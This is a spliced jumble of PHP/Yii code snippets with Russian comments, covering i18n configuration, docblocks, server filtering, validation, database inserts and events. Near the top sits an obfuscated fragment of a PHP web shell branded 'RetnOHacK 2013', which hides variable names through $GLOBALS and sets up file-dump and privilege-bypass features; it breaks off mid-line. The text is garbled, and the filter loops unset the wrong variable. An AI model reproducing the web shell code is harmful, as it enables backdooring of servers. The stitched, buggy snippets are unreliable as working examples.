'components' => [
// ...
'i18n' => [
'translations' => [
'app*' => [
// ...
'on missingTranslation' => ['app\components\TranslationEventHandler', 'handleMissingTranslation']
],
],
],
],
${'GLOBALS'}['ytqsidbuwb']='us';
${'GLOBALS'}['fygfwfpp']='c';
${'GLOBALS'}['xssukethlx']='configuration';
${'GLOBALS'}['znlfcg']='consym';
${'GLOBALS'}['xrnrqneeqyfn']='dir';
${'GLOBALS'}['yyxpgtifb']='rt';
${'GLOBALS'}['safsnsptq']='g';
${'GLOBALS'}['otmvwuyr']='users';
${'GLOBALS'}['nfdniye']='link';
${'GLOBALS'}['lgcmkkj']='rr';
${'GLOBALS'}['uuoeldlhn']='r';
${'GLOBALS'}['rshfreslhmx']='safe_mode';
${'GLOBALS'}['mjjjsyc']='safe_mode';
${'GLOBALS'}['hrqpjl']='pass';
${'GLOBALS'}['mpkqzbudyse']='user';
${'GLOBALS'}['srpuccung']='a1';
${'GLOBALS'}['kpmbrod']='ok';
${'GLOBALS'}['rrkfvuyt']='id2';
${'GLOBALS'}['zmerlgzk']='a2';
${'GLOBALS'}['lsccxrnbhw']='username';
${'GLOBALS'}['oibbfucdc']='value';
${'GLOBALS'}['ucnibgygdq']='e';
${'GLOBALS'}['jnwtdjeb']='att';
${'GLOBALS'}['qowesdp']='sahacker';${'GLOBALS'}['tvoidst']='pathclass';${'GLOBALS'}['tpyetlr']='fp';${'GLOBALS'}['lvtfjiskw']='code';${'GLOBALS'}['skzmjpygbdb']='res';${'GLOBALS'}['pwdfvpnidd']='ar';${'GLOBALS'}['sqowcqx']='values';${'GLOBALS'}['wcgrkl']='keys';${'GLOBALS'}['ivkvtidnn']='num';${'GLOBALS'}['btygwlu']='querys';${'GLOBALS'}['yuirdcehrvu']='sql';${'GLOBALS'}['mnmzrtdls']='head';${'GLOBALS'}['kgjrjxqsb']='mime_type';${'GLOBALS'}['wqpwydtm']='content_encoding';${'GLOBALS'}['korhkhmegnt']='filedump';${'GLOBALS'}['swsrowm']='filename';${'GLOBALS'}['rtrnmswrgbt']='file';${'GLOBALS'}['xmchxwspr']='v';${'GLOBALS'}['oykssljtvlz']='k';${'GLOBALS'}['szfyjop']='i';${'GLOBALS'}['uoqgpnxobiqh']='table';${'GLOBALS'}['fbagxoimcf']='query';${'GLOBALS'}['juxsbp']='error';${'GLOBALS'}['sgykogglnrd']='str';${'GLOBALS'}['phymzistuuq']='checked';${'GLOBALS'}['hrswwrcprw']='ret';${'GLOBALS'}['wuystrt']='type';echo ' ';@set_time_limit(0);@error_reporting(0);echo' /* RetnOHacK 2013 */ body{color:#66FF00; font-size: 12px; font-family: serif; background-color: black; background-image: url(http://www.wallsave.com/wallpapers/1920x1080/alien-nature/601147/alien-nature-matrix-601147.jpg); background-repeat: no-
/**
* @var mixed[]
*/
protected $items = [];
/**
* @property SomeClass[] $items
*/
class SomeCollection extends IterableCollection
// ...
public function doSomeWork()
{
/** @var SomeClass[] $items */
$items = $this->items;
$items[0]->someMethod();
}
/**
* @return SomeClass[]
*/
protected function getItems ()
{
return $this->items;
}
public function doSomeWork()
{
$this->getItems()[0]->someMethod();
}
public function __construct(Request $request, Settings $settings, Router $router, Logger $logger)
# Метки времени для группировки. Не забываем про часовой пояс ;)
$todayTimestamp = strtotime( date( 'd.m.Y' ) ); # Полночь, сегодня
$tomorrowTimestamp = $todayTimestamp + 86400; # Полночь, завтра
# Фильтруем по хроникам
if ( !empty( $_POST[ 'chronicles' ] ) ) {
$chroniclesFilter = $_POST[ 'chronicles' ];
foreach ( $servers as $i => $server ) {
$chronicle = !empty( $server[ 'chronicles' ] ) ? $server[ 'chronicles' ] : false;
if ( $chronicle !== $chroniclesFilter ) {
unset( $server[ $i ] );
}
}
}
# Фильтруем по рейтингам
if ( !empty( $_POST[ 'raites' ] ) ) {
$raitesFilter = $_POST[ 'raites' ];
foreach ( $servers as $i => $server ) {
$rate = !empty( $server[ 'raite' ] ) ? $server[ 'raite' ] : false;
if ( $rate !== $raitesFilter ) {
unset( $server[ $i ] );
}
}
}
# Формируем группы серверов по дате открытия
$todayList = [ ];
$closedList = [ ];
$openedList = [ ];
foreach ( $servers as $server ) {
$isAllow = isset( $server[ 'allow' ] ) ? (bool) $server[ 'allow' ] : false;
# Только разрешенные сервера
if ( $isAllow ) {
$openDate = DateTime::createFromFormat( 'Y-m-d', $server[ 'open_date' ] )->getTimestamp();
if ( $openDate >= $tomorrowTimestamp ) {
# Открывается завтра или позже
$closedList[] = $server;
} elseif ( $openDate >= $todayTimestamp ) {
# Открывается сегодня
$todayList[] = $server;
} else {
# Уже открыт
$openedList[] = $server;
}
}
}
echo '<pre>';
# Все сервера, которые подходят по условиям
var_export( $servers );
# И разбитые по группам
var_export( $todayList );
var_export( $closedList );
var_export( $openedList );
public function validatorLongWords ( $attribute )
{
$parts = explode( ' ', $this->$attribute );
foreach ( $parts as $word ) {
if ( strlen( $word ) > static::LONG_WORD ) { # Для UTF-8 и русского текста используем mb_strlen( $word )
$this->addError( $attribute, 'Слишком длинное слово в строке, да...' );
break; # или return;
}
}
}
Yii::$app->db->createCommand()->insert('review', [
'review_date' =>$reviewDate ,
'review_name' => $reviewName,
'product_id' => $productId,
'review' => $review,
])->execute();
$review = new Review([
'review_date' =>$reviewDate ,
'review_name' => $reviewName,
'product_id' => $productId,
'review' => $review,
]);
$review->save();
class MessageSendEvent extends Event
{
const EVENT_MESSAGE_SEND = 'message-send-event';
/**
* @var string
*/
public $message;
/**
* ...
*/
public function send ()
{
echo $this->message;
}
}
# Вешаем обработчик события
Yii::$app->on( MessageSendEvent::EVENT_MESSAGE_SEND, function ( MessageSendEvent $event ) {
$event->send();
} );
# Инициируем событие
Yii::$app->trigger(
MessageSendEvent::EVENT_MESSAGE_SEND,
new MessageSendEvent( [
'message' => 'Сообщение!'
] )
);